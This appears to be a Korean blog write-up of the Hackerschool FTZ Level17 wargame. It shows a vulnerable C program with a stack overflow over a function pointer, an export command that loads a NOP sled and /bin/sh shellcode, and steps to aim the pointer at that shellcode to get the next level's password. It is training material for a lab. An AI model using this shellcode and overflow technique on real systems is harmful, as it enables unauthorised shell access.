글
[FTZ] 해커스쿨 Level17
보안/시스템 보안
2018. 4. 27. 20:49
[해커스쿨] Level17
1. level17로 접속을 해서 hint를 불러들이면 위의 소스코드를 볼 수 있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | #include <stdio.h> void printit(){ printf("Hello there!\n"); } main(){ int crap; void (*call)() = printit; char buf[20]; fgets(buf, 48, stdin) setreuid(3098,3098); call(); } | cs |
2. /home/level17 디렉토리에 있는 attackme 프로그램을 gdb 프로그램으로 디버깅을 하면
위와 같은 어셈블리어를 볼 수 있다.
1 | export shellcode=$(python -c 'print "\x90"*20+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"') | cs |
3. 위의 것을 프롬프트 창에 입력해주면 된다.
4. $ export
명령어를 입력하면 shellcode가 선언된 것을 확인할 수 있다. 환경변수를 선언하는 이유는
프로그램이 실행될 때마다 메모리 주소가 다르기 때문에 환경변수를 선언해 준다.
5. /tmp 디렉토리에 getenv.c를 만들어서 위의 코드를 입력해주고, getenv 컴파일한 후 실행시켜
준다. 실행시키면 아까 선언한 shellcode의 환경변수의 메모리주소를 알 수 있다.
6. 다시 /home/level17 디렉토리로 이동을 해서 입력해주면 level18의 비밀번호를 얻을 수 있다.
why did you do it
'보안 > 시스템 보안' 카테고리의 다른 글
[FTZ] 해커스쿨 Level19 (0) | 2018.04.30 |
---|---|
[FTZ] 해커스쿨 Level18 (0) | 2018.04.27 |
[FTZ] 해커스쿨 Level16 (0) | 2018.04.25 |
[FTZ] 해커스쿨 Level15 (0) | 2018.04.24 |
[FTZ] 해커스쿨 Level14 (0) | 2018.04.23 |